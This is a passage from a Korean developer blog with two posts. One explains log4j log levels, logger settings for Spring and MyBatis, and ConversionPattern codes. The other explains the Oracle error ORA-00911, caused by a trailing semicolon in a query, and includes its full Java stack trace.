        <level value="INFO" />
        <appender-ref ref="console" />
    </root>
                       
</log4j:configuration>
 
cs


이런식으로 되어 있을 것이다. 이부분은 log4j나 logback나 크게 다른 부분은 없다.


단지 로거 안에 레벨이 들어가냐 안들어가냐 어펜드가 포함되냐 안되냐 그리고 최상단에의 정보들같은  이런 약간의 차이만 있을 뿐이다.



보면 <level value="warn"/> 이라고 되어있는데


여기서 밸류값에 들어가는 종류는


DEBUG, INFO, WARN, ERROR, FATAL, ALL, OFF 가 있다.



ALL은 모든 로깅

OFF는 로깅 해제


DEBUG = 디버깅

INFO = 강조정보

WARN = 경고

ERROR = 오류

FATAL = 심각한 오류


라는 의미 이며


WARN은 경고수준 이하 레벨의 정보는 로깅하지 않는 다는 뜻이다

그러니 정상적으로 돌아가는 SQL쿼리문은 콘솔창에 나타나지 않으니


레벨의 밸류를 전부 DEBUG 로 바꿔주자


로거 name="" << 이부분의 네임은 어떤 부분에서 로그를 띄워줄지 적는 부분이다.


뭔지 모르겠고 sql만 띄우고 싶다면 jdbc.sqltiming  이부분의 레벨만 DEBUG 로 바꿔보도록 하자


설정에 따라  


1
2
3
4
5
6
7
<logger name="org.springframework" level="DEBUG " additivity="false">
     <appender-ref ref="console" />
</logger>
  
<logger name="org.mybatis" level="DEBUG "  additivity="false">
    <appender-ref ref="console" />
</logger>
cs


이런식의 스프링프레임워크나 마이바티스에 관한 로그를 띄울 수도 있다.



아무튼 원하는 부분의 레벨을 DEBUG로 설정한 후 구동시키면 정상적으로 실행되는 정보들도 출력이 된다.


additivity 이부분은 

http://seosh81.info/?p=404  << 이분의 블로그에서 잘 설명이 되어 있으니 궁금하면 들어가서 보자


간단히 설명하자면 로그이벤트를 부모에게 전달하도록 하느냐 마느냐 정도의 설정부분인것 같은데


어차피 나는 야매개발자라서 정확하고 자세하겐 모른다.



 <appender name="console" class="org.apache.log4j.ConsoleAppender">
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d %5p [%c] %m%n" />
        </layout>   
    </appender>


이부분에서 ConversionPattern이부분의 밸류는 콘솔에 표현되는 표현식을 지정하는 부분이다.


표현식은 아래와 같다.


%m: 로그 내용 출력
%p: debug, info, warn, error, fatal 등의 priority 출력
%r: 어플이 시작 후 이벤트가 발생하는 시점까지의 경과시간 밀리세컨드로 출력
%c: package 출력
%c{n}: n(숫자) 만큼의 package를 가장 하단 부터 역으로 출력
        예) %c{2} 일때 a.b.c 는 b.c 로 출력된다.
%n: 개행문자 출력. 플렛폼에 따라 \r\n 또는 \n 출력.
%d: 이벤트 발생 날짜 출력 ( 프로그램의 실행속도를 느리게 한다.)
        예) %d{HH:mm:ss} 또는 %d{dd MMMM yyyy HH:mm:ss}
%C: 호출자의 클래스명 출력
        예) %C{2} 일때 a.b.c.TestClass 는 c.TestClass 로 출력된다.
%M: method 이름.
%F: 프로그램 파일명.
%l: caller의 정보
%L: caller의 라인수
%x: thread와 관련된 NDC(nested diagnostic context) 
%X: thread와 관련된 MDC(mapped diagnostic context) 
%%: % 표시를 출력  
%t: 쓰레드 이름


로그띄울줄 몰라서 들어온 사람이라면 어차피 저 표현식을 쓸일은 없을테니 그냥 이런게 있다는것만 알아두고 넘어가자.



저작자표시 비영리

'Yame Programmer > 전자정부프레임워크' 카테고리의 다른 글

[Spring] MyBatis Batch + Transaction 을 이용한 대용량 SQL작업  (1) 2017.05.15
[톰캣 서버] 같은 IP(도메인) 다른 포트일때 세션 공유 로그인 튕김 현상  (0) 2017.02.10
[JSTL] if문 else(choose)문 사용하는 방법  (2) 2016.07.04
Exception sending context initialized event to listener instance of class org.springframework.web.context.ContextLoaderListener  (1) 2016.06.02
전자정부 프레임워크 스프링 프로퍼티[properties] 추가 하기  (1) 2016.06.02

개발을 시작한지 초반에, 그리고 아직도 종종 자주 하는 실수중에 하나를 했을때 나타나는 메세지 이다.


java.sql.SQLException: ORA-00911: 문자가 부적합합니다.


쿼리문에 잘못된 문자를 사용했다는 의미 인데.


90%정도는 바로 쿼리문 마지막에  -> ';'  요 세미콜론을 붙였기 때문에 나타난다.


쿼리 내용을 넣는 xml문서에는 마지막에 세미콜론을 붙이지 않는다.


오라클 디벨로퍼에서 쿼리 테스트 해보고 그대로 복사한 후 소스에 붙여넣기 했을때 주로 나타나는 에러.


문자가 잘못되었다고 해서 아무리 들여다봐도 잘못된 부분이 없는데 마지막을 보면 저 세미콜론이 붙어 있다.


에러 로그는 요란스럽게 올라오지만 별거 아닌 문제니 천천히 쿼리를 살펴보도록 하자.




java.sql.SQLException: ORA-00911: 문자가 부적합합니다


at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:112)

at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:331)

at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:288)

at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:745)

at oracle.jdbc.driver.T4CPreparedStatement.doOall8(T4CPreparedStatement.java:216)

at oracle.jdbc.driver.T4CPreparedStatement.executeForRows(T4CPreparedStatement.java:966)

at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1170)

at oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.java:3339)

at oracle.jdbc.driver.OraclePreparedStatement.execute(OraclePreparedStatement.java:3445)

at org.apache.commons.dbcp.DelegatingPreparedStatement.execute(DelegatingPreparedStatement.java:172)

at org.apache.commons.dbcp.DelegatingPreparedStatement.execute(DelegatingPreparedStatement.java:172)

at com.ibatis.sqlmap.engine.execution.SqlExecutor.executeUpdate(SqlExecutor.java:80)

at com.ibatis.sqlmap.engine.mapping.statement.MappedStatement.sqlExecuteUpdate(MappedStatement.java:216)

at com.ibatis.sqlmap.engine.mapping.statement.MappedStatement.executeUpdate(MappedStatement.java:94)

at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.update(SqlMapExecutorDelegate.java:457)

at com.ibatis.sqlmap.engine.impl.SqlMapSessionImpl.update(SqlMapSessionImpl.java:90)

at org.springframework.orm.ibatis.SqlMapClientTemplate$9.doInSqlMapClient(SqlMapClientTemplate.java:380)

at org.springframework.orm.ibatis.SqlMapClientTemplate$9.doInSqlMapClient(SqlMapClientTemplate.java:1)

at org.springframework.orm.ibatis.SqlMapClientTemplate.execute(SqlMapClientTemplate.java:200)

at org.springframework.orm.ibatis.SqlMapClientTemplate.update(SqlMapClientTemplate.java:378)

at egovframework.rte.psl.dataaccess.EgovAbstractDAO.update(EgovAbstractDAO.java:101)

at kr.co.narutec.pems2016.widget.service.impl.WidgetDAO.updateUserAutoSetting(WidgetDAO.java:142)

at kr.co.narutec.pems2016.widget.service.impl.WidgetServiceImpl.updateUserAutoSetting(WidgetServiceImpl.java:118)

at kr.co.narutec.pems2016.widget.web.WidgetController.updateUserWidgetSetting(WidgetController.java:170)

at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)

at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)

at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)

at java.lang.reflect.Method.invoke(Method.java:606)

at org.springframework.web.bind.annotation.support.HandlerMethodInvoker.invokeHandlerMethod(HandlerMethodInvoker.java:176)

at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.invokeHandlerMethod(AnnotationMethodHandlerAdapter.java:426)

at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.handle(AnnotationMethodHandlerAdapter.java:414)

at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:790)

at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:719)

at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:644)

at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:560)

at javax.servlet.http.HttpServlet.service(HttpServlet.java:650)

at javax.servlet.http.HttpServlet.service(HttpServlet.java:731)

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303)

at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

at egovframework.rte.ptl.mvc.filter.HTMLTagFilter.doFilter(HTMLTagFilter.java:51)

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)

at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:76)

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)

at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)

at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:505)

at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:170)

at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)

at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:956)

at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)

at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:423)

at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1079)

at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:625)

at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:318)

at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)

at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)

at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

at java.lang.Thread.run(Thread.java:745)

저작자표시 비영리

'Yame Programmer > SQL' 카테고리의 다른 글

[sql튜닝] cmd 명령문 실행 계획  (0) 2016.10.27
[Oracle] 값이 존재하는지 확인 후 insert, update 하기  (0) 2016.10.05
[MSSQL] mssql에서 dual과 같은 가상 테이블 사용 하기  (0) 2016.08.12
[MSSQL] 값이 존재하는지 확인 후 update insert [EXISTS] 활용  (0) 2016.08.12
[Mybatis] 비교연산자 부등호 >,< 안될때  (11) 2016.07.19

+ Recent posts

티스토리툴바